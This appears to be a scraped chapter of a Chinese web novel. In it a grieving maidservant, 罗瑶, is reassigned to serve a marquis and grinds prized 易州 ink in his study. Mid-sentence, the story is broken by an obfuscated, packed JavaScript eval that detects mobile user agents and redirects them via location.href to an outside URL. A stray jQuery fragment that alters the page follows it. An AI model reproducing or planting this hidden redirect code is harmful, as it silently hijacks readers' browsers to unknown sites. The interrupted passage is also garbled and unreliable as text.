13. 易州墨
作品:《小孤女也有春天》 田庄附近的山坡之下,几座坟茔静静地伫立着。一座老坟旁边,新立了一座新坟,两个年轻人正虔诚地跪在那里,面前的火盆中,祭品纸钱燃烧出耀眼的火光。
其中女子静静地跪在新坟前,神情哀伤,眼中噙着泪水,素衣更显其美貌无双。男子则显得普通多了,只能算是憨厚周正。脸庞宽阔,肤色黝黑,浓眉大眼。他跪在女子身旁,满脸的悲痛之色,应是哭过一场。
此二人正是来为李大娘烧七的李俊和罗瑶。
罗瑶努力收住悲痛,擦干眼泪,又去看旁边的阿俊。却见他眼睛红着,仿佛呆滞了一般看着眼前的墓碑,更生出几分心疼,却又不知如何安慰。
过了一会儿,带来的纸钱都烧完了,罗瑶上前又细细地擦了一遍李大娘的墓碑,两人恭恭敬敬地又磕了几个头才收拾了东西回家。
罗瑶和阿俊沿着回家的小路缓缓而行,阳光透过树叶的缝隙洒下,斑驳地落在他们身上。微风轻拂,带来郊外特有的清新气息,却未能抚平罗瑶心中的忧虑。
终于罗瑶下定决心,向旁边的阿俊说道:“阿俊,我有件事要跟你说。”
阿俊微微一愣,看着罗瑶,等待着她的下文。
罗瑶咬了咬嘴唇,缓缓说道:“老夫人准了我两天假来为姨母烧七,等我回去后,要被调去侯爷处当差。”
阿俊像是没反应过来,问道:“去给侯爷当差?”
罗瑶轻轻点头,说道:“是,老夫人的安排。”
阿俊的脸色变得有些复杂,他沉默了一会儿,才说道:“老夫人可有说别的......你是已经结亲之人啊,去照顾侯爷......妥当么?”
罗瑶微微一怔,随即说道:“我曾向老夫人提及此事,试图婉拒。可老夫人却让我莫要多想,言明去侯爷处当差仅是尽一个婢女的本分罢了。”
阿俊皱着眉头,说道:“话虽如此,但侯爷毕竟是男子,况你已与我……”他顿了顿,没有继续说下去。
罗瑶明白他的意思,她轻轻叹了口气,说道:“这就是我想跟你商量的,我思量着要不这个差事就算了吧。”
“如果我孤身回庄上不行,也可以试试在长安城里找个活计,总能有我安身之处的,你说呢?”
罗瑶说完去看阿俊,却见对方脸色沉重,似乎颇感烦躁。
过了片刻,阿俊缓缓说道:“阿瑶,既然这是老夫人的命令,我们确实不好违抗。你想想,若你贸然请辞,只怕会惹得老夫人不高兴。一旦得罪了老夫人,我们都可能没有好果子吃。”
罗瑶愣住,未曾想到阿俊会如此想。她刚想说老夫人应不是那等小肚鸡肠之人。
却又听阿俊故作轻松地说道:“而且老夫人不是说了么,只是履行婢女的职责。侯爷是何等尊贵之人,应当是不会欺负你的。要不你先去试试?倘若实在不妥,我们再另想办法。”
......
“阿瑶姑娘,我是在侯爷跟前伺候的明德,以后啊有什么事不清楚的都可以找我。”
“哎呀对了,阿瑶姑娘我先带你去住处看看。”
眼前长得喜气的圆脸青年很是热情,罗瑶听着心中的紧张稍稍缓解了一些。她微微颔首,轻声说道:“那就有劳明德大哥了。”
明德连忙摆摆手,说道:“阿瑶姑娘客气了,可别喊我大哥,喊我明德或者阿德都可以,以后都是在一处当差的,互相照应着是应该的。”
说着,他便引着罗瑶往住处走去。
一路上,明德滔滔不绝地给罗瑶介绍着侯爷院中的各处景致和规矩。罗瑶认真地听着,努力将这些信息都记在心里。
不一会儿,他们来到了罗瑶的住处。这是一间简洁干净的屋子,虽然不大,但布置得很温馨。
明德说道:“阿瑶姑娘,你就先在这里安顿下来。有什么需要的尽管跟我说。”
罗瑶迟疑地看着屋子里仅有的一张床,问道:“阿德,为何只有一张床,没有其他婢子与我同住么?”
这话一出,就见明德罕见地僵住了,随后笑道:“对,这间房就你一个人住。”
不知道是否有急事,接下来的明德似乎很是赶时间要走,但还是很友善提醒她可以收拾完了,下午再去侯爷面前伺候就行,其他的也不再多说,急匆匆地便离开了,留罗瑶独自在屋子里收拾着自己的东西。
这时的她并不知道原来侯爷近身伺候的大丫鬟只有自己......
但在此时,她看着可以独占的房间,心中倒是生出几分欢喜。
午后,阳光透过窗棂洒在地上,形成一片片斑驳的光影。罗瑶收拾妥当后,怀着忐忑的心情前往书房去见侯爷景宸。
终于来到书房门口,罗瑶深吸一口气,努力让自己镇定下来。她轻轻敲了敲门,里面传来一个侯爷低沉有磁性的声音:“进来。”
罗瑶推开门,缓缓走进书房。书房内布置得简洁而大气,书架上摆满了书籍,书桌上摆放着文房四宝和一些公文。侯爷景宸正坐在书桌后,专注地看着手中的公文。
罗瑶走到书桌前,恭敬地行礼道:“奴婢罗瑶,见过侯爷。”
景宸抬起头,看了罗瑶一眼,微微颔首,说道:“起来吧。”
罗瑶站起身来,垂首站在一旁,等待着侯爷的吩咐。景宸放下手中的公文,看着罗瑶,说道:“从今日起,你就在我身边伺候。可清楚自己的职责?”
罗瑶回道:“明德有告知,和之前在老夫人那边差不多,但不用抄经,而是多在书房伺候笔墨。”
景宸微微颔首,不再多言,又重新拿起公文继续审阅。罗瑶静静地站在一旁,尽量降低自己的存在感,没想到这一站就是半个时辰,可能因为面对侯爷有些紧张,罗瑶感觉脚都有些发麻了,于是稍稍转换了一下双脚的着力。
没想到她自问做的悄无声息,还是被侯爷看到了。
“可是倦了?”
罗瑶心中一惊,连忙垂首道:“奴婢不敢,只是脚有些麻,并非倦了。”
景宸放下公文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060576|162773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,看着罗瑶,眼神中闪过一丝不易察觉的关切。“去那边椅子上坐会儿吧。”他指了指不远处的一把椅子。
罗瑶瞪大了眼睛:“侯爷,这……奴婢不敢。”
景宸微微皱眉,“让你坐便坐,哪来那么多不敢。”
罗瑶犹豫了一下,最终还是小心翼翼地走到椅子旁坐下,感觉有些踌躇,哪有主子忙着,下人倒舒服的坐着的,是以她只虚虚挨了半边臀部,腰杆子也坐得笔直,仿佛这样可以减轻一点尴尬。
这些都被景宸看在眼里,不由地闪过一丝笑意。他重新拿起公文,继续审阅,书房中又恢复了安静。
过了一会儿,景宸再次开口:“以后站久了便自己寻个地方歇一歇,不必如此拘谨。”
罗瑶连忙起身,恭敬地应道:“是,侯爷。奴婢知道了。”
景宸放下公文,叹了口气:“我是不是长得很吓人?”
罗瑶闻言,惊慌失措地连忙摇头,“侯爷天人之姿,英武不凡,一点都不吓人。”
景宸看着她紧张的模样,嘴角微微上扬,“那你为何如此拘谨?”
罗瑶垂首,轻声说道:“侯爷尊贵,奴婢只是个下人,不敢失了规矩。”
景宸微微颔首,“在我这里,不必太过拘束。不然你我都不自在。”
罗瑶再次应是,景宸看她这样,自是知道一时半会恐难改变,倒也没有再说什么。
罗瑶重新站到一旁,心中的紧张稍稍缓解了一些。又看砚台中的墨快干了,便主动上前磨起墨来。
因着之前在老夫人见识广了,拿到那磨后,发现竟比老夫人所用的易州上谷墨还要好,上谷墨她用着已经极好,但是手中磨开的这墨更是自带清香,丰肌腻理、光泽如漆。
“喜欢磨墨?”
罗瑶突然听得侯爷声音,差点又想行礼回话,幸好及时止住了,手中的墨却也停住,认真回话道:““回侯爷,奴婢砚台中的墨快干了,怕耽误侯爷使用,便自作主张上前磨墨。不过也不怕侯爷笑话,确实也喜欢磨墨。”
“为何?”
罗瑶微微思索了一下,然后轻声说道:“回侯爷,磨墨之时,能让人的心慢慢沉静下来。看着那墨在砚台中渐渐化开,仿佛心中的浮躁也被一点点抹去。而且,这墨又如此上乘,磨起来更是一种别样的享受。”
景宸看着她认真的模样,眼中闪过一丝笑意。“倒是个有趣的说法。”
罗瑶有些不好意思地低下头,“让侯爷见笑了。”
景宸指着那墨问道:“可知这是什么墨?”
罗瑶摇头:“不知,之前在老夫人那里用的是易州墨,已是极好,但是此墨确实更胜一筹。”
景宸笑了:“倒是有点眼光,这墨也算得是易州墨,是由易州郗氏所制。”
罗瑶吃惊,易州郗氏她听爹提过,数代相传的制墨世家,所制之墨乃是贡品,除了宫里,其他地方千金难求。
抬头却见侯爷看着那墨似乎也陷入了回忆......

